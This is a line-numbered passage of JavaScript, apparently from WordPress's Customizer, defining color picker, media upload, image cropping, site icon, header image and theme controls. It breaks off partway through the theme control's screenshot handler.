4139 * A colorpicker control.
4140 *
4141 * @class wp.customize.ColorControl
4142 * @augments wp.customize.Control
4143 */
4144 api.ColorControl = api.Control.extend(/** @lends wp.customize.ColorControl.prototype */{
4145 ready: function() {
4146 var control = this,
4147 isHueSlider = this.params.mode === 'hue',
4148 updating = false,
4149 picker;
4150
4151 if ( isHueSlider ) {
4152 picker = this.container.find( '.color-picker-hue' );
4153 picker.val( control.setting() ).wpColorPicker({
4154 change: function( event, ui ) {
4155 updating = true;
4156 control.setting( ui.color.h() );
4157 updating = false;
4158 }
4159 });
4160 } else {
4161 picker = this.container.find( '.color-picker-hex' );
4162 picker.val( control.setting() ).wpColorPicker({
4163 change: function() {
4164 updating = true;
4165 control.setting.set( picker.wpColorPicker( 'color' ) );
4166 updating = false;
4167 },
4168 clear: function() {
4169 updating = true;
4170 control.setting.set( '' );
4171 updating = false;
4172 }
4173 });
4174 }
4175
4176 control.setting.bind( function ( value ) {
4177 // Bail if the update came from the control itself.
4178 if ( updating ) {
4179 return;
4180 }
4181 picker.val( value );
4182 picker.wpColorPicker( 'color', value );
4183 } );
4184
4185 // Collapse color picker when hitting Esc instead of collapsing the current section.
4186 control.container.on( 'keydown', function( event ) {
4187 var pickerContainer;
4188 if ( 27 !== event.which ) { // Esc.
4189 return;
4190 }
4191 pickerContainer = control.container.find( '.wp-picker-container' );
4192 if ( pickerContainer.hasClass( 'wp-picker-active' ) ) {
4193 picker.wpColorPicker( 'close' );
4194 control.container.find( '.wp-color-result' ).focus();
4195 event.stopPropagation(); // Prevent section from being collapsed.
4196 }
4197 } );
4198 }
4199 });
4200
4201 /**
4202 * A control that implements the media modal.
4203 *
4204 * @class wp.customize.MediaControl
4205 * @augments wp.customize.Control
4206 */
4207 api.MediaControl = api.Control.extend(/** @lends wp.customize.MediaControl.prototype */{
4208
4209 /**
4210 * When the control's DOM structure is ready,
4211 * set up internal event bindings.
4212 */
4213 ready: function() {
4214 var control = this;
4215 // Shortcut so that we don't have to use _.bind every time we add a callback.
4216 _.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' );
4217
4218 // Bind events, with delegation to facilitate re-rendering.
4219 control.container.on( 'click keydown', '.upload-button', control.openFrame );
4220 control.container.on( 'click keydown', '.upload-button', control.pausePlayer );
4221 control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
4222 control.container.on( 'click keydown', '.default-button', control.restoreDefault );
4223 control.container.on( 'click keydown', '.remove-button', control.pausePlayer );
4224 control.container.on( 'click keydown', '.remove-button', control.removeFile );
4225 control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer );
4226
4227 // Resize the player controls when it becomes visible (ie when section is expanded).
4228 api.section( control.section() ).container
4229 .on( 'expanded', function() {
4230 if ( control.player ) {
4231 control.player.setControlsSize();
4232 }
4233 })
4234 .on( 'collapsed', function() {
4235 control.pausePlayer();
4236 });
4237
4238 /**
4239 * Set attachment data and render content.
4240 *
4241 * Note that BackgroundImage.prototype.ready applies this ready method
4242 * to itself. Since BackgroundImage is an UploadControl, the value
4243 * is the attachment URL instead of the attachment ID. In this case
4244 * we skip fetching the attachment data because we have no ID available,
4245 * and it is the responsibility of the UploadControl to set the control's
4246 * attachmentData before calling the renderContent method.
4247 *
4248 * @param {number|string} value Attachment
4249 */
4250 function setAttachmentDataAndRenderContent( value ) {
4251 var hasAttachmentData = $.Deferred();
4252
4253 if ( control.extended( api.UploadControl ) ) {
4254 hasAttachmentData.resolve();
4255 } else {
4256 value = parseInt( value, 10 );
4257 if ( _.isNaN( value ) || value <= 0 ) {
4258 delete control.params.attachment;
4259 hasAttachmentData.resolve();
4260 } else if ( control.params.attachment && control.params.attachment.id === value ) {
4261 hasAttachmentData.resolve();
4262 }
4263 }
4264
4265 // Fetch the attachment data.
4266 if ( 'pending' === hasAttachmentData.state() ) {
4267 wp.media.attachment( value ).fetch().done( function() {
4268 control.params.attachment = this.attributes;
4269 hasAttachmentData.resolve();
4270
4271 // Send attachment information to the preview for possible use in `postMessage` transport.
4272 wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes );
4273 } );
4274 }
4275
4276 hasAttachmentData.done( function() {
4277 control.renderContent();
4278 } );
4279 }
4280
4281 // Ensure attachment data is initially set (for dynamically-instantiated controls).
4282 setAttachmentDataAndRenderContent( control.setting() );
4283
4284 // Update the attachment data and re-render the control when the setting changes.
4285 control.setting.bind( setAttachmentDataAndRenderContent );
4286 },
4287
4288 pausePlayer: function () {
4289 this.player && this.player.pause();
4290 },
4291
4292 cleanupPlayer: function () {
4293 this.player && wp.media.mixin.removePlayer( this.player );
4294 },
4295
4296 /**
4297 * Open the media modal.
4298 */
4299 openFrame: function( event ) {
4300 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4301 return;
4302 }
4303
4304 event.preventDefault();
4305
4306 if ( ! this.frame ) {
4307 this.initFrame();
4308 }
4309
4310 this.frame.open();
4311 },
4312
4313 /**
4314 * Create a media modal select frame, and store it so the instance can be reused when needed.
4315 */
4316 initFrame: function() {
4317 this.frame = wp.media({
4318 button: {
4319 text: this.params.button_labels.frame_button
4320 },
4321 states: [
4322 new wp.media.controller.Library({
4323 title: this.params.button_labels.frame_title,
4324 library: wp.media.query({ type: this.params.mime_type }),
4325 multiple: false,
4326 date: false
4327 })
4328 ]
4329 });
4330
4331 // When a file is selected, run a callback.
4332 this.frame.on( 'select', this.select );
4333 },
4334
4335 /**
4336 * Callback handler for when an attachment is selected in the media modal.
4337 * Gets the selected image information, and sets it within the control.
4338 */
4339 select: function() {
4340 // Get the attachment from the modal frame.
4341 var node,
4342 attachment = this.frame.state().get( 'selection' ).first().toJSON(),
4343 mejsSettings = window._wpmejsSettings || {};
4344
4345 this.params.attachment = attachment;
4346
4347 // Set the Customizer setting; the callback takes care of rendering.
4348 this.setting( attachment.id );
4349 node = this.container.find( 'audio, video' ).get(0);
4350
4351 // Initialize audio/video previews.
4352 if ( node ) {
4353 this.player = new MediaElementPlayer( node, mejsSettings );
4354 } else {
4355 this.cleanupPlayer();
4356 }
4357 },
4358
4359 /**
4360 * Reset the setting to the default value.
4361 */
4362 restoreDefault: function( event ) {
4363 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4364 return;
4365 }
4366 event.preventDefault();
4367
4368 this.params.attachment = this.params.defaultAttachment;
4369 this.setting( this.params.defaultAttachment.url );
4370 },
4371
4372 /**
4373 * Called when the "Remove" link is clicked. Empties the setting.
4374 *
4375 * @param {Object} event jQuery Event object
4376 */
4377 removeFile: function( event ) {
4378 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4379 return;
4380 }
4381 event.preventDefault();
4382
4383 this.params.attachment = {};
4384 this.setting( '' );
4385 this.renderContent(); // Not bound to setting change when emptying.
4386 }
4387 });
4388
4389 /**
4390 * An upload control, which utilizes the media modal.
4391 *
4392 * @class wp.customize.UploadControl
4393 * @augments wp.customize.MediaControl
4394 */
4395 api.UploadControl = api.MediaControl.extend(/** @lends wp.customize.UploadControl.prototype */{
4396
4397 /**
4398 * Callback handler for when an attachment is selected in the media modal.
4399 * Gets the selected image information, and sets it within the control.
4400 */
4401 select: function() {
4402 // Get the attachment from the modal frame.
4403 var node,
4404 attachment = this.frame.state().get( 'selection' ).first().toJSON(),
4405 mejsSettings = window._wpmejsSettings || {};
4406
4407 this.params.attachment = attachment;
4408
4409 // Set the Customizer setting; the callback takes care of rendering.
4410 this.setting( attachment.url );
4411 node = this.container.find( 'audio, video' ).get(0);
4412
4413 // Initialize audio/video previews.
4414 if ( node ) {
4415 this.player = new MediaElementPlayer( node, mejsSettings );
4416 } else {
4417 this.cleanupPlayer();
4418 }
4419 },
4420
4421 // @deprecated
4422 success: function() {},
4423
4424 // @deprecated
4425 removerVisibility: function() {}
4426 });
4427
4428 /**
4429 * A control for uploading images.
4430 *
4431 * This control no longer needs to do anything more
4432 * than what the upload control does in JS.
4433 *
4434 * @class wp.customize.ImageControl
4435 * @augments wp.customize.UploadControl
4436 */
4437 api.ImageControl = api.UploadControl.extend(/** @lends wp.customize.ImageControl.prototype */{
4438 // @deprecated
4439 thumbnailSrc: function() {}
4440 });
4441
4442 /**
4443 * A control for uploading background images.
4444 *
4445 * @class wp.customize.BackgroundControl
4446 * @augments wp.customize.UploadControl
4447 */
4448 api.BackgroundControl = api.UploadControl.extend(/** @lends wp.customize.BackgroundControl.prototype */{
4449
4450 /**
4451 * When the control's DOM structure is ready,
4452 * set up internal event bindings.
4453 */
4454 ready: function() {
4455 api.UploadControl.prototype.ready.apply( this, arguments );
4456 },
4457
4458 /**
4459 * Callback handler for when an attachment is selected in the media modal.
4460 * Does an additional Ajax request for setting the background context.
4461 */
4462 select: function() {
4463 api.UploadControl.prototype.select.apply( this, arguments );
4464
4465 wp.ajax.post( 'custom-background-add', {
4466 nonce: _wpCustomizeBackground.nonces.add,
4467 wp_customize: 'on',
4468 customize_theme: api.settings.theme.stylesheet,
4469 attachment_id: this.params.attachment.id
4470 } );
4471 }
4472 });
4473
4474 /**
4475 * A control for positioning a background image.
4476 *
4477 * @since 4.7.0
4478 *
4479 * @class wp.customize.BackgroundPositionControl
4480 * @augments wp.customize.Control
4481 */
4482 api.BackgroundPositionControl = api.Control.extend(/** @lends wp.customize.BackgroundPositionControl.prototype */{
4483
4484 /**
4485 * Set up control UI once embedded in DOM and settings are created.
4486 *
4487 * @since 4.7.0
4488 * @access public
4489 */
4490 ready: function() {
4491 var control = this, updateRadios;
4492
4493 control.container.on( 'change', 'input[name="background-position"]', function() {
4494 var position = $( this ).val().split( ' ' );
4495 control.settings.x( position[0] );
4496 control.settings.y( position[1] );
4497 } );
4498
4499 updateRadios = _.debounce( function() {
4500 var x, y, radioInput, inputValue;
4501 x = control.settings.x.get();
4502 y = control.settings.y.get();
4503 inputValue = String( x ) + ' ' + String( y );
4504 radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' );
4505 radioInput.trigger( 'click' );
4506 } );
4507 control.settings.x.bind( updateRadios );
4508 control.settings.y.bind( updateRadios );
4509
4510 updateRadios(); // Set initial UI.
4511 }
4512 } );
4513
4514 /**
4515 * A control for selecting and cropping an image.
4516 *
4517 * @class wp.customize.CroppedImageControl
4518 * @augments wp.customize.MediaControl
4519 */
4520 api.CroppedImageControl = api.MediaControl.extend(/** @lends wp.customize.CroppedImageControl.prototype */{
4521
4522 /**
4523 * Open the media modal to the library state.
4524 */
4525 openFrame: function( event ) {
4526 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4527 return;
4528 }
4529
4530 this.initFrame();
4531 this.frame.setState( 'library' ).open();
4532 },
4533
4534 /**
4535 * Create a media modal select frame, and store it so the instance can be reused when needed.
4536 */
4537 initFrame: function() {
4538 var l10n = _wpMediaViewsL10n;
4539
4540 this.frame = wp.media({
4541 button: {
4542 text: l10n.select,
4543 close: false
4544 },
4545 states: [
4546 new wp.media.controller.Library({
4547 title: this.params.button_labels.frame_title,
4548 library: wp.media.query({ type: 'image' }),
4549 multiple: false,
4550 date: false,
4551 priority: 20,
4552 suggestedWidth: this.params.width,
4553 suggestedHeight: this.params.height
4554 }),
4555 new wp.media.controller.CustomizeImageCropper({
4556 imgSelectOptions: this.calculateImageSelectOptions,
4557 control: this
4558 })
4559 ]
4560 });
4561
4562 this.frame.on( 'select', this.onSelect, this );
4563 this.frame.on( 'cropped', this.onCropped, this );
4564 this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
4565 },
4566
4567 /**
4568 * After an image is selected in the media modal, switch to the cropper
4569 * state if the image isn't the right size.
4570 */
4571 onSelect: function() {
4572 var attachment = this.frame.state().get( 'selection' ).first().toJSON();
4573
4574 if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
4575 this.setImageFromAttachment( attachment );
4576 this.frame.close();
4577 } else {
4578 this.frame.setState( 'cropper' );
4579 }
4580 },
4581
4582 /**
4583 * After the image has been cropped, apply the cropped image data to the setting.
4584 *
4585 * @param {Object} croppedImage Cropped attachment data.
4586 */
4587 onCropped: function( croppedImage ) {
4588 this.setImageFromAttachment( croppedImage );
4589 },
4590
4591 /**
4592 * Returns a set of options, computed from the attached image data and
4593 * control-specific data, to be fed to the imgAreaSelect plugin in
4594 * wp.media.view.Cropper.
4595 *
4596 * @param {wp.media.model.Attachment} attachment
4597 * @param {wp.media.controller.Cropper} controller
4598 * @return {Object} Options
4599 */
4600 calculateImageSelectOptions: function( attachment, controller ) {
4601 var control = controller.get( 'control' ),
4602 flexWidth = !! parseInt( control.params.flex_width, 10 ),
4603 flexHeight = !! parseInt( control.params.flex_height, 10 ),
4604 realWidth = attachment.get( 'width' ),
4605 realHeight = attachment.get( 'height' ),
4606 xInit = parseInt( control.params.width, 10 ),
4607 yInit = parseInt( control.params.height, 10 ),
4608 requiredRatio = xInit / yInit,
4609 realRatio = realWidth / realHeight,
4610 xImg = xInit,
4611 yImg = yInit,
4612 x1, y1, imgSelectOptions;
4613
4614 controller.set( 'hasRequiredAspectRatio', control.hasRequiredAspectRatio( requiredRatio, realRatio ) );
4615 controller.set( 'suggestedCropSize', { width: realWidth, height: realHeight, x1: 0, y1: 0, x2: xInit, y2: yInit } );
4616 controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );
4617
4618 if ( realRatio > requiredRatio ) {
4619 yInit = realHeight;
4620 xInit = yInit * requiredRatio;
4621 } else {
4622 xInit = realWidth;
4623 yInit = xInit / requiredRatio;
4624 }
4625
4626 x1 = ( realWidth - xInit ) / 2;
4627 y1 = ( realHeight - yInit ) / 2;
4628
4629 imgSelectOptions = {
4630 handles: true,
4631 keys: true,
4632 instance: true,
4633 persistent: true,
4634 imageWidth: realWidth,
4635 imageHeight: realHeight,
4636 minWidth: xImg > xInit ? xInit : xImg,
4637 minHeight: yImg > yInit ? yInit : yImg,
4638 x1: x1,
4639 y1: y1,
4640 x2: xInit + x1,
4641 y2: yInit + y1
4642 };
4643
4644 if ( flexHeight === false && flexWidth === false ) {
4645 imgSelectOptions.aspectRatio = xInit + ':' + yInit;
4646 }
4647
4648 if ( true === flexHeight ) {
4649 delete imgSelectOptions.minHeight;
4650 imgSelectOptions.maxWidth = realWidth;
4651 }
4652
4653 if ( true === flexWidth ) {
4654 delete imgSelectOptions.minWidth;
4655 imgSelectOptions.maxHeight = realHeight;
4656 }
4657
4658 return imgSelectOptions;
4659 },
4660
4661 /**
4662 * Return whether the image must be cropped, based on required dimensions.
4663 *
4664 * @param {boolean} flexW Width is flexible.
4665 * @param {boolean} flexH Height is flexible.
4666 * @param {number} dstW Required width.
4667 * @param {number} dstH Required height.
4668 * @param {number} imgW Provided image's width.
4669 * @param {number} imgH Provided image's height.
4670 * @return {boolean} Whether cropping is required.
4671 */
4672 mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {
4673 if ( true === flexW && true === flexH ) {
4674 return false;
4675 }
4676
4677 if ( true === flexW && dstH === imgH ) {
4678 return false;
4679 }
4680
4681 if ( true === flexH && dstW === imgW ) {
4682 return false;
4683 }
4684
4685 if ( dstW === imgW && dstH === imgH ) {
4686 return false;
4687 }
4688
4689 if ( imgW <= dstW ) {
4690 return false;
4691 }
4692
4693 return true;
4694 },
4695
4696 /**
4697 * Check if the image's aspect ratio essentially matches the required aspect ratio.
4698 *
4699 * Floating point precision is low, so this allows a small tolerance. This
4700 * tolerance allows for images over 100,000 px on either side to still trigger
4701 * the cropping flow.
4702 *
4703 * @param {number} requiredRatio Required image ratio.
4704 * @param {number} realRatio Provided image ratio.
4705 * @return {boolean} Whether the image has the required aspect ratio.
4706 */
4707 hasRequiredAspectRatio: function ( requiredRatio, realRatio ) {
4708 if ( Math.abs( requiredRatio - realRatio ) < 0.000001 ) {
4709 return true;
4710 }
4711
4712 return false;
4713 },
4714
4715 /**
4716 * If cropping was skipped, apply the image data directly to the setting.
4717 */
4718 onSkippedCrop: function() {
4719 var attachment = this.frame.state().get( 'selection' ).first().toJSON();
4720 this.setImageFromAttachment( attachment );
4721 },
4722
4723 /**
4724 * Updates the setting and re-renders the control UI.
4725 *
4726 * @param {Object} attachment
4727 */
4728 setImageFromAttachment: function( attachment ) {
4729 var control = this;
4730 this.params.attachment = attachment;
4731
4732 // Set the Customizer setting; the callback takes care of rendering.
4733 this.setting( attachment.id );
4734
4735 // Set focus to the first relevant button after the icon.
4736 _.defer( function() {
4737 var firstButton = control.container.find( '.actions .button' ).first();
4738 if ( firstButton.length ) {
4739 firstButton.focus();
4740 }
4741 } );
4742 }
4743 });
4744
4745 /**
4746 * A control for selecting and cropping Site Icons.
4747 *
4748 * @class wp.customize.SiteIconControl
4749 * @augments wp.customize.CroppedImageControl
4750 */
4751 api.SiteIconControl = api.CroppedImageControl.extend(/** @lends wp.customize.SiteIconControl.prototype */{
4752
4753 /**
4754 * Create a media modal select frame, and store it so the instance can be reused when needed.
4755 */
4756 initFrame: function() {
4757 var l10n = _wpMediaViewsL10n;
4758
4759 this.frame = wp.media({
4760 button: {
4761 text: l10n.select,
4762 close: false
4763 },
4764 states: [
4765 new wp.media.controller.Library({
4766 title: this.params.button_labels.frame_title,
4767 library: wp.media.query({ type: 'image' }),
4768 multiple: false,
4769 date: false,
4770 priority: 20,
4771 suggestedWidth: this.params.width,
4772 suggestedHeight: this.params.height
4773 }),
4774 new wp.media.controller.SiteIconCropper({
4775 imgSelectOptions: this.calculateImageSelectOptions,
4776 control: this
4777 })
4778 ]
4779 });
4780
4781 this.frame.on( 'select', this.onSelect, this );
4782 this.frame.on( 'cropped', this.onCropped, this );
4783 this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
4784 },
4785
4786 /**
4787 * After an image is selected in the media modal, switch to the cropper
4788 * state if the image isn't the right size.
4789 */
4790 onSelect: function() {
4791 var attachment = this.frame.state().get( 'selection' ).first().toJSON(),
4792 controller = this;
4793
4794 if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
4795 wp.ajax.post( 'crop-image', {
4796 nonce: attachment.nonces.edit,
4797 id: attachment.id,
4798 context: 'site-icon',
4799 cropDetails: {
4800 x1: 0,
4801 y1: 0,
4802 width: this.params.width,
4803 height: this.params.height,
4804 dst_width: this.params.width,
4805 dst_height: this.params.height
4806 }
4807 } ).done( function( croppedImage ) {
4808 controller.setImageFromAttachment( croppedImage );
4809 controller.frame.close();
4810 } ).fail( function() {
4811 controller.frame.trigger('content:error:crop');
4812 } );
4813 } else {
4814 this.frame.setState( 'cropper' );
4815 }
4816 },
4817
4818 /**
4819 * Updates the setting and re-renders the control UI.
4820 *
4821 * @param {Object} attachment
4822 */
4823 setImageFromAttachment: function( attachment ) {
4824 var control = this,
4825 sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link,
4826 icon;
4827
4828 _.each( sizes, function( size ) {
4829 if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) {
4830 icon = attachment.sizes[ size ];
4831 }
4832 } );
4833
4834 this.params.attachment = attachment;
4835
4836 // Set the Customizer setting; the callback takes care of rendering.
4837 this.setting( attachment.id );
4838
4839 if ( ! icon ) {
4840 return;
4841 }
4842
4843 // Update the icon in-browser.
4844 link = $( 'link[rel="icon"][sizes="32x32"]' );
4845 link.attr( 'href', icon.url );
4846
4847 // Set focus to the first relevant button after the icon.
4848 _.defer( function() {
4849 var firstButton = control.container.find( '.actions .button' ).first();
4850 if ( firstButton.length ) {
4851 firstButton.focus();
4852 }
4853 } );
4854 },
4855
4856 /**
4857 * Called when the "Remove" link is clicked. Empties the setting.
4858 *
4859 * @param {Object} event jQuery Event object
4860 */
4861 removeFile: function( event ) {
4862 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4863 return;
4864 }
4865 event.preventDefault();
4866
4867 this.params.attachment = {};
4868 this.setting( '' );
4869 this.renderContent(); // Not bound to setting change when emptying.
4870 $( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default.
4871 }
4872 });
4873
4874 /**
4875 * @class wp.customize.HeaderControl
4876 * @augments wp.customize.Control
4877 */
4878 api.HeaderControl = api.Control.extend(/** @lends wp.customize.HeaderControl.prototype */{
4879 ready: function() {
4880 this.btnRemove = $('#customize-control-header_image .actions .remove');
4881 this.btnNew = $('#customize-control-header_image .actions .new');
4882
4883 _.bindAll(this, 'openMedia', 'removeImage');
4884
4885 this.btnNew.on( 'click', this.openMedia );
4886 this.btnRemove.on( 'click', this.removeImage );
4887
4888 api.HeaderTool.currentHeader = this.getInitialHeaderImage();
4889
4890 new api.HeaderTool.CurrentView({
4891 model: api.HeaderTool.currentHeader,
4892 el: '#customize-control-header_image .current .container'
4893 });
4894
4895 new api.HeaderTool.ChoiceListView({
4896 collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
4897 el: '#customize-control-header_image .choices .uploaded .list'
4898 });
4899
4900 new api.HeaderTool.ChoiceListView({
4901 collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
4902 el: '#customize-control-header_image .choices .default .list'
4903 });
4904
4905 api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
4906 api.HeaderTool.UploadsList,
4907 api.HeaderTool.DefaultsList
4908 ]);
4909
4910 // Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme.
4911 wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on';
4912 wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet;
4913 },
4914
4915 /**
4916 * Returns a new instance of api.HeaderTool.ImageModel based on the currently
4917 * saved header image (if any).
4918 *
4919 * @since 4.2.0
4920 *
4921 * @return {Object} Options
4922 */
4923 getInitialHeaderImage: function() {
4924 if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) {
4925 return new api.HeaderTool.ImageModel();
4926 }
4927
4928 // Get the matching uploaded image object.
4929 var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) {
4930 return ( imageObj.attachment_id === api.get().header_image_data.attachment_id );
4931 } );
4932 // Fall back to raw current header image.
4933 if ( ! currentHeaderObject ) {
4934 currentHeaderObject = {
4935 url: api.get().header_image,
4936 thumbnail_url: api.get().header_image,
4937 attachment_id: api.get().header_image_data.attachment_id
4938 };
4939 }
4940
4941 return new api.HeaderTool.ImageModel({
4942 header: currentHeaderObject,
4943 choice: currentHeaderObject.url.split( '/' ).pop()
4944 });
4945 },
4946
4947 /**
4948 * Returns a set of options, computed from the attached image data and
4949 * theme-specific data, to be fed to the imgAreaSelect plugin in
4950 * wp.media.view.Cropper.
4951 *
4952 * @param {wp.media.model.Attachment} attachment
4953 * @param {wp.media.controller.Cropper} controller
4954 * @return {Object} Options
4955 */
4956 calculateImageSelectOptions: function(attachment, controller) {
4957 var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
4958 yInit = parseInt(_wpCustomizeHeader.data.height, 10),
4959 flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
4960 flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
4961 ratio, xImg, yImg, realHeight, realWidth,
4962 imgSelectOptions;
4963
4964 realWidth = attachment.get('width');
4965 realHeight = attachment.get('height');
4966
4967 this.headerImage = new api.HeaderTool.ImageModel();
4968 this.headerImage.set({
4969 themeWidth: xInit,
4970 themeHeight: yInit,
4971 themeFlexWidth: flexWidth,
4972 themeFlexHeight: flexHeight,
4973 imageWidth: realWidth,
4974 imageHeight: realHeight
4975 });
4976
4977 controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );
4978
4979 ratio = xInit / yInit;
4980 xImg = realWidth;
4981 yImg = realHeight;
4982
4983 if ( xImg / yImg > ratio ) {
4984 yInit = yImg;
4985 xInit = yInit * ratio;
4986 } else {
4987 xInit = xImg;
4988 yInit = xInit / ratio;
4989 }
4990
4991 imgSelectOptions = {
4992 handles: true,
4993 keys: true,
4994 instance: true,
4995 persistent: true,
4996 imageWidth: realWidth,
4997 imageHeight: realHeight,
4998 x1: 0,
4999 y1: 0,
5000 x2: xInit,
5001 y2: yInit
5002 };
5003
5004 if (flexHeight === false && flexWidth === false) {
5005 imgSelectOptions.aspectRatio = xInit + ':' + yInit;
5006 }
5007 if (flexHeight === false ) {
5008 imgSelectOptions.maxHeight = yInit;
5009 }
5010 if (flexWidth === false ) {
5011 imgSelectOptions.maxWidth = xInit;
5012 }
5013
5014 return imgSelectOptions;
5015 },
5016
5017 /**
5018 * Sets up and opens the Media Manager in order to select an image.
5019 * Depending on both the size of the image and the properties of the
5020 * current theme, a cropping step after selection may be required or
5021 * skippable.
5022 *
5023 * @param {event} event
5024 */
5025 openMedia: function(event) {
5026 var l10n = _wpMediaViewsL10n;
5027
5028 event.preventDefault();
5029
5030 this.frame = wp.media({
5031 button: {
5032 text: l10n.selectAndCrop,
5033 close: false
5034 },
5035 states: [
5036 new wp.media.controller.Library({
5037 title: l10n.chooseImage,
5038 library: wp.media.query({ type: 'image' }),
5039 multiple: false,
5040 date: false,
5041 priority: 20,
5042 suggestedWidth: _wpCustomizeHeader.data.width,
5043 suggestedHeight: _wpCustomizeHeader.data.height
5044 }),
5045 new wp.media.controller.Cropper({
5046 imgSelectOptions: this.calculateImageSelectOptions
5047 })
5048 ]
5049 });
5050
5051 this.frame.on('select', this.onSelect, this);
5052 this.frame.on('cropped', this.onCropped, this);
5053 this.frame.on('skippedcrop', this.onSkippedCrop, this);
5054
5055 this.frame.open();
5056 },
5057
5058 /**
5059 * After an image is selected in the media modal,
5060 * switch to the cropper state.
5061 */
5062 onSelect: function() {
5063 this.frame.setState('cropper');
5064 },
5065
5066 /**
5067 * After the image has been cropped, apply the cropped image data to the setting.
5068 *
5069 * @param {Object} croppedImage Cropped attachment data.
5070 */
5071 onCropped: function(croppedImage) {
5072 var url = croppedImage.url,
5073 attachmentId = croppedImage.attachment_id,
5074 w = croppedImage.width,
5075 h = croppedImage.height;
5076 this.setImageFromURL(url, attachmentId, w, h);
5077 },
5078
5079 /**
5080 * If cropping was skipped, apply the image data directly to the setting.
5081 *
5082 * @param {Object} selection
5083 */
5084 onSkippedCrop: function(selection) {
5085 var url = selection.get('url'),
5086 w = selection.get('width'),
5087 h = selection.get('height');
5088 this.setImageFromURL(url, selection.id, w, h);
5089 },
5090
5091 /**
5092 * Creates a new wp.customize.HeaderTool.ImageModel from provided
5093 * header image data and inserts it into the user-uploaded headers
5094 * collection.
5095 *
5096 * @param {string} url
5097 * @param {number} attachmentId
5098 * @param {number} width
5099 * @param {number} height
5100 */
5101 setImageFromURL: function(url, attachmentId, width, height) {
5102 var choice, data = {};
5103
5104 data.url = url;
5105 data.thumbnail_url = url;
5106 data.timestamp = _.now();
5107
5108 if (attachmentId) {
5109 data.attachment_id = attachmentId;
5110 }
5111
5112 if (width) {
5113 data.width = width;
5114 }
5115
5116 if (height) {
5117 data.height = height;
5118 }
5119
5120 choice = new api.HeaderTool.ImageModel({
5121 header: data,
5122 choice: url.split('/').pop()
5123 });
5124 api.HeaderTool.UploadsList.add(choice);
5125 api.HeaderTool.currentHeader.set(choice.toJSON());
5126 choice.save();
5127 choice.importImage();
5128 },
5129
5130 /**
5131 * Triggers the necessary events to deselect an image which was set as
5132 * the currently selected one.
5133 */
5134 removeImage: function() {
5135 api.HeaderTool.currentHeader.trigger('hide');
5136 api.HeaderTool.CombinedList.trigger('control:removeImage');
5137 }
5138
5139 });
5140
5141 /**
5142 * wp.customize.ThemeControl
5143 *
5144 * @class wp.customize.ThemeControl
5145 * @augments wp.customize.Control
5146 */
5147 api.ThemeControl = api.Control.extend(/** @lends wp.customize.ThemeControl.prototype */{
5148
5149 touchDrag: false,
5150 screenshotRendered: false,
5151
5152 /**
5153 * @since 4.2.0
5154 */
5155 ready: function() {
5156 var control = this, panel = api.panel( 'themes' );
5157
5158 function disableSwitchButtons() {
5159 return ! panel.canSwitchTheme( control.params.theme.id );
5160 }
5161
5162 // Temporary special function since supplying SFTP credentials does not work yet. See #42184.
5163 function disableInstallButtons() {
5164 return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
5165 }
5166 function updateButtons() {
5167 control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
5168 control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
5169 }
5170
5171 api.state( 'selectedChangesetStatus' ).bind( updateButtons );
5172 api.state( 'changesetStatus' ).bind( updateButtons );
5173 updateButtons();
5174
5175 control.container.on( 'touchmove', '.theme', function() {
5176 control.touchDrag = true;
5177 });
5178
5179 // Bind details view trigger.
5180 control.container.on( 'click keydown touchend', '.theme', function( event ) {
5181 var section;
5182 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
5183 return;
5184 }
5185
5186 // Bail if the user scrolled on a touch device.
5187 if ( control.touchDrag === true ) {
5188 return control.touchDrag = false;
5189 }
5190
5191 // Prevent the modal from showing when the user clicks the action button.
5192 if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) {
5193 return;
5194 }
5195
5196 event.preventDefault(); // Keep this AFTER the key filter above.
5197 section = api.section( control.section() );
5198 section.showDetails( control.params.theme, function() {
5199
5200 // Temporary special function since supplying SFTP credentials does not work yet. See #42184.
5201 if ( api.settings.theme._filesystemCredentialsNeeded ) {
5202 section.overlay.find( '.theme-actions .delete-theme' ).remove();
5203 }
5204 } );
5205 });
5206
5207 control.container.on( 'render-screenshot', function() {
5208 var $screenshot = $( this ).find( 'img' ),
